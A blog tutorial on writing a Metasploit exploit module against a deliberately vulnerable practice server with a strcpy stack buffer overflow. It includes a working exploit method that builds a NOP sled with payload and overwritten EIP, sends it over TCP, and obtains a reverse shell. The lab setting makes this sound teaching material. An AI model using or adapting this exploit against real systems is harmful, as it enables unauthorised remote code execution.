Skip to main content

How to write a metasploit module

· 8 min read
Strider

Hi, I thought since I feel like getting into metasploit module development I would do a little howto.

I would like to use a small sample application to build a Metasploit module that we can use to spawn a reverse shell on a server application via buffer overflow.

Vulnerable application

First we need a server application, with which we can test our module. For this I got a small source code from the site https://samsclass.info/127/proj/p4-server.c

We compile this code, without stackprotection. We can now start the server and let it run. Our example server is now listening on the TCP port 4001.

Let's take a look at the module. For this Rapid7 has published a template on Github, with which you can build your own modules. The template, I have also inserted here briefly.

Create the base of our module

We simply place our module in the path /usr/share/metasploit-framework/modules/exploits/linux/example/p4_server_buf.rb. Alternatively, you can also place your modules in your home directory under .msf4.

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking

def initialize(info={})
super(update_info(info,
'Name' => "[Vendor] [Software] [Root Cause] [Vulnerability type]",
'Description' => %q{
Say something that the user might need to know
},
'License' => MSF_LICENSE,
'Author' => [ 'Name' ],
'References' =>
[
[ 'URL', '' ]
],
'Platform' => 'win',
'Targets' =>
[
[ 'System or software version',
{
'Ret' => 0x41414141 # This will be available in `target.ret`
}
]
],
'Payload' =>
{
'BadChars' => "\x00"
},
'Privileged' => false,
'DisclosureDate' => "",
'DefaultTarget' => 0))
end

def check
# For the check command
end

def exploit
# Main function
end

end

Break down the module

We see here that we have three standard methods which should always be present. The first method initialize is used to read and change the settings and information later in the CLI.

The method check is used to check if our target system or application is vulnerable to the module.

The method exploit, executes the exploit and fetches us a shell or whatever.

The attributes, in the method initialize, are quite important, because here information can be derived from the module. I will briefly go into this.

  • Name: Here we specify the name of the user exploit or module. Ideally in this format "[Vendor] [Software] [Root Cause] [Vulnerability type]".

  • Description: Here we provide a brief description of our exploit and or vulnerability.

  • License: Here we simply specify the MSF_LICENSE.

  • References: Here the references like CVE, CWE etc.. are specified. These are always specified as an array. The reference types can all be found in the Metasploit reference types.

  • Platform: Here we specify our platform like Linux, Windows etc... It is also possible to specify multiple platforms in form of an array. Supported platforms are e.g. win, linux, osx, unix, bsd.

  • Targets: Here we again specify our versions in array format, e.g. Windows XP SP3, or Windows 10 Build 1903 etc... Each version gets its return address if we are dealing with a vulnerability that goes across multiple versions. Not only return addresses can be specified here, but also gadgets or specific offsets.

  • Payload: Here you can specify how the payload should be encoded, which bytes should be avoided, etc....

  • Privileged: Here we can tell our module if we need a privileged access or not.

  • DisclosureDate: Here we specify the date when the vulnerability was disclosed.

  • DefaultTarget: Here we specify the default index number from the Targets array, which is to be selected in advance.

Adjusting the initial information

Let's make a few adjustments. E.g. Author, Platform etc...

'Name'           => "P4-Server Bufferoverflow",
'Description' => %q{
This is a basic exploit to show how to write an msf module. Our target application is the p4-server.c which has a simple bufferoverflow vulnerability.
},
'License' => MSF_LICENSE,
'Author' => [ 'Strider' ],
'References' => [ ['URL', 'http://example.com/blog.php?id=123'] ],
'Platform' => 'linux',
'Targets' => [
[ 'P4-Server - 1.0', {
'Ret' => 0x41414141 # This will be available in `target.ret`
}]
],
'Payload' => {
'BadChars' => "\x00"
},
'Privileged' => false,
'DisclosureDate' => "",
'DefaultTarget' => 0

For our sample application, I have adjusted some attributes in advance so that Metasploit recognizes our module. Ok, let's have a look in the Metasploitconsole if our module is recognized. Reload everything with reload_all, and our module should be recognized.

dia1.png

Here in the screenshot we see that Metasploit recognizes our module and also finds it in the search. If we now load our module into the CLI, it should also work without problems.

dia2.png

Our module has been loaded successfully and we can see the options that our module provides. Looks meager at first. The only thing we see are our targets and nothing more.

Register some options

Let's add some options. For this we have to call the method register_options in the method initialize among the other attibutes. This method gets all the options as an array. The options we need are RPORT and RHOST.

register_options(
[
Opt::RPORT(4001),
OptAddress.new('RHOST', [ true, 'Set an IP', '' ])
]
)

The basic structure of each option is that we first specify what the option should be called. Then we specify in the form of an array whether this option is mandatory or not, what should be the description and its default value.

The pattern at this point looks like this:

Opt<Type>.new(‚Optionname‘, [ required<true|false>, ‚Description‘, ‚Defaultvalue‘ ])

Some options can also be specified in short form e.g. RPORT.

dia3.png

We can also already set our payload, here in the case a simple "Reverse TCP Shell" under Linux. Our two options are now also visible.

Convert the module to a remote exploit

Now we can take care that we establish a connection with the server. For this we have to give our module the information that we are working with TCP. We simply include the TCP version of the mixin and voila, we can work with TCP. The class will look like in the snippet.

class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Tcp #<-- include this to get tcp

Write the exploit

If we now want to establish a connection, we only have to use the two commands connect and disconnect. Internally the command connect accesses the options RHOST, RHOSTS and RPORT. I have included a few outputs so that we can also see in the CLI that something is happening.

def exploit
print_status("Connecting...")
connect
print_status("Disconnecting...")
disconnect
end

dia4.png

You can see that the connection setup worked, because we didn't get an exception or anything like that. But we don't get a session because we didn't send anything over. Now we create the exploit code or our buffer overlflow exploit.

dia5.png

But we see a small bug, well it is not directly a bug but rather an unsightly option. When we registered the option RHOST, we registered one option too much, because by including the TCP version a corresponding option was already created. But we will fix that later.

First we take care of our buffer overflow exploit. A small excerpt from the server code.

int copier(char *str) {
char buffer[1024];
strcpy(buffer, str);
}

We can see in the code that we have a buffer of 1024 bytes which is simply filled without any checks. Right here we have our vulnerability which can create a buffer overflow. Here is a screenshot from GDB.

dia6.png

After a few tests, we found the exact position where we overwrite the EIP. Our exact buffer is 1040 bytes, from which we subtract 4 bytes, because the 4 bytes are used for the EIP. Now we have to subtract the length of the payload from the remaining buffer. Everything what remains is filled with \x90.

With this information, we can now complete our exploit. The code in the method exploit looks like this.

def exploit
buf = "\x90" * (1040 - 4 - payload.encoded.length)
buf += payload.encoded
buf += [ target.ret ].pack('V')
print_status("Connecting...")
connect
sock.puts(buf)
print_status("Disconnecting...")
disconnect
end

In the method, we first create our buffer by creating as many nops as the difference between the total length of the EIP and the payload. Next we put our payload into the buffer followed by our new EIP. We send the whole thing directly after a connection establishment. Note that we convert target.ret, into an array and wrap it in little-endian. So we have an Unsigned 32Bit Integer which is our returnaddress, which the EIP gets.

Run the exploit

If we run the whole thing, we should be able to get a reverse shell. I have made a recording for this.

asciicast

We can see that our module works fine and we were actually able to get a session. I have uploaded the source code to Github again.

If you want to remove the unattractive option RHOST, you just have to delete the option from the code.

I hope you enjoyed it, and can also try your hand at building your own modules for Metasploit 😄